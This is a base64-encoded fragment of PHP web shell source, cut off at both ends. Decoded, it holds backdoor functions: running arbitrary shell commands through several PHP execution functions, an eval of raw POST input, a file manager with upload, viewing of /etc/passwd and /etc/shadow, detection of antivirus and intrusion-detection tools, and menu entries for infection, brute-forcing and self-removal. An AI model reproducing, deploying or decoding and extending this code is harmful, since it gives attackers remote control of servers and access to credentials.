24gdmFsdWU9IicuJOKWny4nIiAnLigkX1BPU1RbJ2NoYXJzZXQnXT09JOKWnz8nc2VsZWN0ZWQnOicnKS4nPicuJOKWny4nPC9vcHRpb24+JzsKCSRtID0gYXJyYXkoJ1NlYy4gSW5mbyc9PidTZWNJbmZvJywnRmlsZXMnPT4nRmlsZXNNYW4nLCdDb25zb2xlJz0+J0NvbnNvbGUnLCdJbmZlY3QnPT4nSW5mZWN0JywnU3FsJz0+J1NxbCcsJ1BocCc9PidQaHAnLCdTYWZlIG1vZGUnPT4nU2FmZU1vZGUnLCdTdHJpbmcgdG9vbHMnPT4nU3RyaW5nVG9vbHMnLCdCcnV0ZWZvcmNlJz0+J0JydXRlZm9yY2UnLCdOZXR3b3JrJz0+J05ldHdvcmsnKTsKCWlmKCFlbXB0eSgkR0xPQkFMU1sn4pabJ10pKQoJJG1bJ0xvZ291dCddID0gJ0xvZ291dCc7CgkkbVsnU2VsZiByZW1vdmUnXSA9ICdTZWxmUmVtb3ZlJzsKCSRtZW51ID0gJyc7Cglmb3JlYWNoKCRtIGFzICRrID0+ICR2KQoJCSRtZW51IC49ICc8dGg+WyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnJy4kdi4nXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvYT4gXTwvdGg+JzsKCSRkcml2ZXMgPSAiIjsKCWlmICgkR0xPQkFMU1snb3MnXSA9PSAnd2luJykgewoJCWZvcmVhY2gocmFuZ2UoJ2MnLCd6JykgYXMgJGRyaXZlKQoJCWlmIChpc19kaXIoJGRyaXZlLic6XFwnKSkKCQkJJGRyaXZlcyAuPSAnPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiRkcml2ZS4nOi9cJykiPlsgJy4kZHJpdmUuJyBdPC9hPiAnOwoJfQoJLyogKNChKSAwOC4yMDE1IGRta2N2ICovCgllY2hvICc8dGFibGUgY2xhc3M9aW5mbyBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT48dHI+PHRkIHdpZHRoPTE+PHNwYW4+VW5hbWU6PGJyPlVzZXI6PGJyPlBocDo8YnI+SGRkOjxicj5Dd2Q6Jy4oJEdMT0JBTFNbJ29zJ10gPT0gJ3dpbic/Jzxicj5Ecml2ZXM6JzonJykuJzwvc3Bhbj48L3RkPicuCgkJICc8dGQ+PG5vYnI+Jy5zdWJzdHIoQHBocF91bmFtZSgpLCAwLCAxMjApLicgPGEgaHJlZj0iaHR0cDovL25vcmVmZXJlci5kZS8/aHR0cDovL3d3dy5nb29nbGUuY29tL3NlYXJjaD9xPScudXJsZW5jb2RlKEBwaHBfdW5hbWUoKSkuJyIgdGFyZ2V0PSJfYmxhbmsiPlsgR29vZ2xlIF08L2E+IDxhIGhyZWY9IicuJGV4cGxpbmsuJyIgdGFyZ2V0PV9ibGFuaz5bIEV4cGxvaXQtREIgXTwvYT48L25vYnI+PGJyPicuJHVpZC4nICggJy4kdXNlci4nICkgPHNwYW4+R3JvdXA6PC9zcGFuPiAnLiRnaWQuJyAoICcgLiRncm91cC4gJyApPGJyPicuQHBocHZlcnNpb24oKS4nIDxzcGFuPlNhZmUgbW9kZTo8L3NwYW4+ICcuKCRHTE9CQUxTWydzYWZlX21vZGUnXT8nPGZvbnQgY29sb3I9cmVkPk9OPC9mb250Pic6Jzxmb250IGNvbG9yPSNGRkRCNUY+PGI+T0ZGPC9iPjwvZm9udD4nKS4nIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnUGhwXCcsbnVsbCxudWxsLFwnaW5mb1wnKSI+WyBwaHBpbmZvIF08L2E+IDxzcGFuPkRhdGV0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycpLic8YnI+Jy52aWV3U2l6ZSgkdG90YWxTcGFjZSkuJyA8c3Bhbj5GcmVlOjwvc3Bhbj4gJy52aWV3U2l6ZSgkZnJlZVNwYWNlKS4nICgnLnJvdW5kKDEwMC8oJHRvdGFsU3BhY2UvJGZyZWVTcGFjZSksMikuJyUpPGJyPicuJGN3ZF9saW5rcy4nICcudmlld1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddKS4nIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJEdMT0JBTFNbJ2hvbWVfY3dkJ10uJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBob21lIF08L2E+PGJyPicuJGRyaXZlcy4nPC90ZD4nLgoJCSAnPHRkIHdpZHRoPTEgYWxpZ249cmlnaHQ+PG5vYnI+PGxhYmVsPjxzZWxlY3Qgb25jaGFuZ2U9ImcobnVsbCxudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudmFsdWUpIj4nLiRvcHRfY2hhcnNldHMuJzwvc2VsZWN0PjwvbGFiZWw+PGJyPjxzcGFuPlNlcnZlciBJUDo8L3NwYW4+PGJyPicuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLic8YnI+PHNwYW4+Q2xpZW50IElQOjwvc3Bhbj48YnI+Jy4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4nPC9ub2JyPjwvdGQ+PC90cj48L3RhYmxlPicuCgkJICc8dGFibGUgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzJFNkU5QzsiIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj4nLiRtZW51Lic8L3RyPjwvdGFibGU+PGRpdj4nOwp9CmZ1bmN0aW9uIGhhcmRGb290ZXIoKSB7CgkkaXNfd3JpdGFibGUgPSBpc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pPyIgPGZvbnQgY29sb3I9JyNGRkRCNUYnPlsgV3JpdGVhYmxlIF08L2ZvbnQ+IjoiIDxmb250IGNvbG9yPXJlZD4oTm90IHdyaXRhYmxlKTwvZm9udD4iOwogICAgZWNobyAiCjwvZGl2Pgo8dGFibGUgY2xhc3M9aW5mbyBpZD10b29sc1RibCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT4KCTx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCIiLiggZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb25GaWxlc01hbicpPyAiZyhudWxsLHRoaXMuYy52YWx1ZSwnJyk7IjonJyApLiJyZXR1cm4gZmFsc2U7XCI+PHNwYW4+Q2hhbmdlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nc3VibWl0Jz48L2Zvcm0+PC90ZD4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCIiLihmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbkZpbGVzVG9vbHMnKT8gImcoJ0ZpbGVzVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlKTsiOicnICkuInJldHVybiBmYWxzZTtcIj48c3Bhbj5SZWFkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mIHJlcXVpcmVkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nc3VibWl0Jz48L2Zvcm0+PC90ZD4KCTwvdHI+PHRyPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD1cIiIuKCBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbkZpbGVzTWFuJyk/ICJnKCdGaWxlc01hbicsbnVsbCwnbWtkaXInLHRoaXMuZC52YWx1ZSk7IjonJyApLiJyZXR1cm4gZmFsc2U7XCI+PHNwYW4+TWFrZSBkaXI6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1kIHJlcXVpcmVkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nc3VibWl0Jz48L2Zvcm0+PC90ZD4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCIiLiggZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb25GaWxlc1Rvb2xzJyk/ICJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwnbWtmaWxlJyk7IjonJyApLiJyZXR1cm4gZmFsc2U7XCI+PHNwYW4+TWFrZSBmaWxlOjwvc3Bhbj4kaXNfd3JpdGFibGU8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9ZiByZXF1aXJlZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J3N1Ym1pdCc+PC9mb3JtPjwvdGQ+Cgk8L3RyPjx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCIiLiggZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb25Db25zb2xlJyk/ICJnKCdDb25zb2xlJyxudWxsLHRoaXMuYy52YWx1ZSk7IjonJyApLiJyZXR1cm4gZmFsc2U7XCI+PHNwYW4+RXhlY3V0ZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9Jyc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnPjwvZm9ybT48L3RkPgoJCTx0ZD48Zm9ybSBtZXRob2Q9J3Bvc3QnICIuKCAoIWZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uRmlsZXNNYW4nKSk/ICIgb25zdWJtaXQ9XCJyZXR1cm4gZmFsc2U7XCIgIjonJyApLiJFTkNUWVBFPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdGaWxlc01hbic+CgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+CgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9J3VwbG9hZEZpbGUnPgoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW5lIHZhbHVlPScnPgoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIgLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKSAuICInPgoJCTxzcGFuPlVwbG9hZCBmaWxlOjwvc3Bhbj4kaXNfd3JpdGFibGU8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT1maWxlIG5hbWU9ZltdICBtdWx0aXBsZT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J3N1Ym1pdCc+PC9mb3JtPjxiciAgPjwvdGQ+Cgk8L3RyPjwvdGFibGU+PC9kaXY+CgkKCTwvYm9keT48L2h0bWw+IjsKfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0cHd1aWQnKT09PWZhbHNlKSkgeyBmdW5jdGlvbiBwb3NpeF9nZXRwd3VpZCgkcCkge3JldHVybiBmYWxzZTt9IH0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldGdyZ2lkJyk9PT1mYWxzZSkpIHsgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9CmZ1bmN0aW9uIGV4KCRpbikgewoJJOKWliA9ICcnOwoJaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7CgkJQGV4ZWMoJGluLCTilpYpOwoJCSTilpYgPSBAam9pbigiXG4iLCTilpYpOwoJfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgewoJCW9iX3N0YXJ0KCk7CgkJQHBhc3N0aHJ1KCRpbik7CgkJJOKWliA9IG9iX2dldF9jbGVhbigpOwoJfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsKCQlvYl9zdGFydCgpOwoJCUBzeXN0ZW0oJGluKTsKCQkk4paWID0gb2JfZ2V0X2NsZWFuKCk7Cgl9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsKCQkk4paWID0gc2hlbGxfZXhlYygkaW4pOwoJfSBlbHNlaWYgKGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRpbiwiciIpKSkgewoJCSTilpYgPSAiIjsKCQl3aGlsZSghQGZlb2YoJGYpKQoJCQkk4paWIC49IGZyZWFkKCRmLDEwMjQpOwoJCXBjbG9zZSgkZik7Cgl9ZWxzZSByZXR1cm4gIuKGsyBVbmFibGUgdG8gZXhlY3V0ZSBjb21tYW5kXG4iOwoJcmV0dXJuICgk4paWPT0nJz8i4oazIFF1ZXJ5IGRpZCBub3QgcmV0dXJuIGFueXRoaW5nXG4iOiTilpYpOwp9CmZ1bmN0aW9uIHZpZXdTaXplKCRzKSB7CglpZigkcyA+PSAxMDczNzQxODI0KQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA3Mzc0MTgyNCApLiAnIEdCJzsKCWVsc2VpZigkcyA+PSAxMDQ4NTc2KQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA0ODU3NiApIC4gJyBNQic7CgllbHNlaWYoJHMgPj0gMTAyNCkKCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOwoJZWxzZQoJCXJldHVybiAkcyAuICcgQic7Cn0KZnVuY3Rpb24gcGVybXMoJHApIHsKCWlmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkaSA9ICdzJzsKCWVsc2VpZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7CgllbHNlaWYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSRpID0gJy0nOwoJZWxzZWlmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkaSA9ICdiJzsKCWVsc2VpZiAoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7CgllbHNlaWYgKCgkcCAmIDB4MjAwMCkgPT0gMHgyMDAwKSRpID0gJ2MnOwoJZWxzZWlmICgoJHAgJiAweDEwMDApID09IDB4MTAwMCkkaSA9ICdwJzsKCWVsc2UgJGkgPSAndSc7CgkkaSAuPSAoKCRwICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CgkkaSAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7CgkkaSAuPSAoKCRwICYgMHgwMDQwKSA/ICgoJHAgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoJJGkgLj0gKCgkcCAmIDB4MDAyMCkgPyAncicgOiAnLScpOwoJJGkgLj0gKCgkcCAmIDB4MDAxMCkgPyAndycgOiAnLScpOwoJJGkgLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCSRpIC49ICgoJHAgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKCSRpIC49ICgoJHAgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsKCSRpIC49ICgoJHAgJiAweDAwMDEpID8gKCgkcCAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6ICgoJHAgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CglyZXR1cm4gJGk7Cn0KZnVuY3Rpb24gdmlld1Blcm1zQ29sb3IoJGYpIHsKCWlmICghQGlzX3JlYWRhYmxlKCRmKSkKCQlyZXR1cm4gJzxmb250IGNvbG9yPSNGRjAwMDA+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsKCWVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpCgkJcmV0dXJuICc8Zm9udCBjb2xvcj13aGl0ZT48Yj4nLnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOwoJZWxzZQoJCXJldHVybiAnPGZvbnQgY29sb3I9I0ZGREI1Rj48Yj4nLnBlcm1zKEBmaWxlcGVybXMoJGYpKS4nPC9iPjwvZm9udD4nOwp9CmZ1bmN0aW9uIGhhcmRTY2FuZGlyKCRkaXIpIHsKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygic2NhbmRpciIpKSB7CiAgICAgICAgcmV0dXJuIHNjYW5kaXIoJGRpcik7CiAgICB9IGVsc2UgewogICAgICAgICRkaCAgPSBvcGVuZGlyKCRkaXIpOwogICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlbmFtZSA9IHJlYWRkaXIoJGRoKSkpCiAgICAgICAgICAgICRmaWxlc1tdID0gJGZpbGVuYW1lOwogICAgICAgIHJldHVybiAkZmlsZXM7CiAgICB9Cn0KZnVuY3Rpb24gd2hpY2goJHApIHsKCSRwYXRoID0gZXgoJ3doaWNoICcgLiAkcCk7CglpZighZW1wdHkoJHBhdGgpKQoJCXJldHVybiAkcGF0aDsKCXJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBhY3Rpb25SQygpIHsKCWlmKCFAJF9QT1NUWydwMSddKSB7CgkJJGEgPSBhcnJheSgKCQkJInVuYW1lIiA9PiBwaHBfdW5hbWUoKSwKCQkJInBocF92ZXJzaW9uIiA9PiBwaHB2ZXJzaW9uKCksCgkJCSJWRVJTSU9OIiA9PiBWRVJTSU9OLAoJCQkic2FmZW1vZGUiID0+IEBpbmlfZ2V0KCdzYWZlX21vZGUnKQoJCSk7CgkJZWNobyBzZXJpYWxpemUoJGEpOwoJfSBlbHNlIHsKCQlldmFsKCRfUE9TVFsncDEnXSk7Cgl9Cn0KZnVuY3Rpb24gcHJvdG90eXBlKCRrLCAkdikgewogICAgJF9DT09LSUVbJGtdID0gJHY7CiAgICBzZXRjb29raWUoJGssICR2KTsKfQpmdW5jdGlvbiBhY3Rpb25TZWNJbmZvKCkgewoJaGFyZEhlYWRlcigpOwoJZWNobyAnPGgxPlNlcnZlciBzZWN1cml0eSBpbmZvcm1hdGlvbjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CglmdW5jdGlvbiBzaG93U2VjUGFyYW0oJG4sICR2KSB7CgkJJHYgPSB0cmltKCR2KTsKCQlpZigkdikgewoJCQllY2hvICc8c3Bhbj4nIC4gJG4gLiAnOiA8L3NwYW4+JzsKCQkJaWYoc3RycG9zKCR2LCAiXG4iKSA9PT0gZmFsc2UpCgkJCQllY2hvICR2IC4gJzxicj4nOwoJCQllbHNlCgkJCQllY2hvICc8cHJlIGNsYXNzPW1sMT4nIC4gJHYgLiAnPC9wcmU+JzsKCQl9Cgl9CglzaG93U2VjUGFyYW0oJ1NlcnZlciBzb2Z0d2FyZScsIEBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnYXBhY2hlX2dldF9tb2R1bGVzJykpCiAgICAgICAgc2hvd1NlY1BhcmFtKCdMb2FkZWQgQXBhY2hlIG1vZHVsZXMnLCBpbXBsb2RlKCcsICcsIGFwYWNoZV9nZXRfbW9kdWxlcygpKSk7CglzaG93U2VjUGFyYW0oJ0Rpc2FibGVkIFBIUCBGdW5jdGlvbnMnLCAkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXT8kR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXTonbm9uZScpOwoJc2hvd1NlY1BhcmFtKCdPcGVuIGJhc2UgZGlyJywgQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKTsKCXNob3dTZWNQYXJhbSgnU2FmZSBtb2RlIGV4ZWMgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKTsKCXNob3dTZWNQYXJhbSgnU2FmZSBtb2RlIGluY2x1ZGUgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKTsKCXNob3dTZWNQYXJhbSgnY1VSTCBzdXBwb3J0JywgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKT8nZW5hYmxlZCc6J25vJyk7CgkkdGVtcD1hcnJheSgpOwoJaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKSkKCQkkdGVtcFtdID0gIk15U3FsICgiLm15c3FsX2dldF9jbGllbnRfaW5mbygpLiIpIjsKCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKQoJCSR0ZW1wW10gPSAiTVNTUUwiOwoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpCgkJJHRlbXBbXSA9ICJQb3N0Z3JlU1FMIjsKCWlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkKCQkkdGVtcFtdID0gIk9yYWNsZSI7CglzaG93U2VjUGFyYW0oJ1N1cHBvcnRlZCBkYXRhYmFzZXMnLCBpbXBsb2RlKCcsICcsICR0ZW1wKSk7CgllY2hvICc8YnI+JzsKCWlmKCRHTE9CQUxTWydvcyddID09ICduaXgnKSB7CiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcIi9ldGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108L2E+Ijonbm8nKTsKICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3NoYWRvdycsIEBpc19yZWFkYWJsZSgnL2V0Yy9zaGFkb3cnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiL2V0Yy9cIiwgXCJzaGFkb3dcIiknPlt2aWV3XTwvYT4iOidubycpOwogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ09TIHZlcnNpb24nLCBAZmlsZV9nZXRfY29udGVudHMoJy9wcm9jL3ZlcnNpb24nKSk7CiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnRGlzdHIgbmFtZScsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9pc3N1ZS5uZXQnKSk7CiAgICAgICAgICAgIGlmKCEkR0xPQkFMU1snc2FmZV9tb2RlJ10pIHsKICAgICAgICAgICAgICAgICR1c2VyZnVsID0gYXJyYXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbicsJ3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2NhdGUnLCdzdWlkcGVybCcpOwogICAgICAgICAgICAgICAgJGRhbmdlciA9IGFycmF5KCdrYXYnLCdub2QzMicsJ2JkY29yZWQnLCd1dnNjYW4nLCdzYXYnLCdkcndlYmQnLCdjbGFtZCcsJ3JraHVudGVyJywnY2hrcm9vdGtpdCcsJ2lwdGFibGVzJywnaXBmdycsJ3RyaXB3aXJlJywnc2hpZWxkY2MnLCdwb3J0c2VudHJ5Jywnc25vcnQnLCdvc3NlYycsJ2xpZHNhZG0nLCd0Y3Bsb2RnJywnc3hpZCcsJ2xvZ2NoZWNrJywnbG9nd2F0Y2gnLCdzeXNtYXNrJywnem1ic2NhcCcsJ3Nhd21pbGwnLCd3b3Jtc2NhbicsJ25pbmphJyk7CiAgICAgICAgICAgICAgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsKICAgICAgICAgICAgICAgIGVjaG8gJzxicj4nOwogICAgICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR1c2VyZnVsIGFzICTilp8pCiAgICAgICAgICAgICAgICAgICAgaWYod2hpY2goJOKWnykpCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAk4pafOwogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdVc2VyZnVsJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRhbmdlciBhcyAk4pafKQogICAgICAgICAgICAgICAgICAgIGlmKHdoaWNoKCTilp8pKQogICAgICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJOKWnzsKICAgICAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnRGFuZ2VyJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRvd25sb2FkZXJzIGFzICTilp8pCiAgICAgICAgICAgICAgICAgICAgaWYod2hpY2goJOKWnykpCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAk4pafOwogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAgICAgZWNobyAnPGJyLz4nOwogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdIREQgc3BhY2UnLCBleCgnZGYgLWgnKSk7CiAgICAgICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0hvc3RzJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2hvc3RzJykpOwoJCQkJc2hvd1NlY1BhcmFtKCdNb3VudCBvcHRpb25zJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2ZzdGFiJykpOwogICAgICAgICAgICB9Cgl9IGVsc2UgewoJCXNob3dTZWNQYXJhbSgnT1MgVmVyc2lvbicsZXgoJ3ZlcicpKTsKCQlzaG93U2VjUGFyYW0oJ0FjY291bnQgU2V0dGluZ3MnLCBpY29udignQ1A4NjYnLCAnVVRGLTgnLGV4KCduZXQgYWNjb3VudHMnKSkpOwoJCXNob3dTZWNQYXJhbSgnVXNlciBBY2NvdW50cycsIGljb252KCdDUDg2NicsICdVVEYtOCcsZXgoJ25ldCB1c2VyJykpKTsKCX0KCWVjaG8gJzwvZGl2Pic7CgloYXJkRm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWN0aW9uRmlsZXNUb29scygpIHsKCWlmKCBpc3NldCgkX1BPU1RbJ3AxJ10pICkKCQkkX1BPU1RbJ3AxJ10gPSB1cmxkZWNvZGUoJF9QT1NUWydwMSddKTsKCWlmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpIHsKCQlpZihAaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICYmIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKSB7CgkJCW9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsKCQkJaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iLmJhc2VuYW1lKCRfUE9TVFsncDEnXSkpOwoJCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCJtaW1lX2NvbnRlbnRfdHlwZSIpKSB7CgkJCQkkdHlwZSA9IEBtaW1lX2NvbnRlbnRfdHlwZSgkX1BPU1RbJ3AxJ10pOwoJCQkJaGVhZGVyKCJDb250ZW50LVR5cGU6ICIgLiAkdHlwZSk7CgkJCX0gZWxzZQogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOwoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAiciIpOwoJCQlpZigkZnApIHsKCQkJCXdoaWxlKCFAZmVvZigkZnApKQoJCQkJCWVjaG8gQGZyZWFkKCRmcCwgMTAyNCk7CgkJCQlmY2xvc2UoJGZwKTsKCQkJfQoJCX1leGl0OwoJfQoJaWYoIEAkX1BPU1RbJ3AyJ10gPT0gJ21rZmlsZScgKSB7CgkJaWYoIWZpbGVfZXhpc3RzKCRfUE9TVFsncDEnXSkpIHsKCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3cnKTsKCQkJaWYoJGZwKSB7CgkJCQkkX1BPU1RbJ3AyJ10gPSAiZWRpdCI7CgkJCQlmY2xvc2UoJGZwKTsKCQkJfQoJCX0KCX0KCWhhcmRIZWFkZXIoKTsKCWVjaG8gJzxoMT5GaWxlIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKCWlmKCAhZ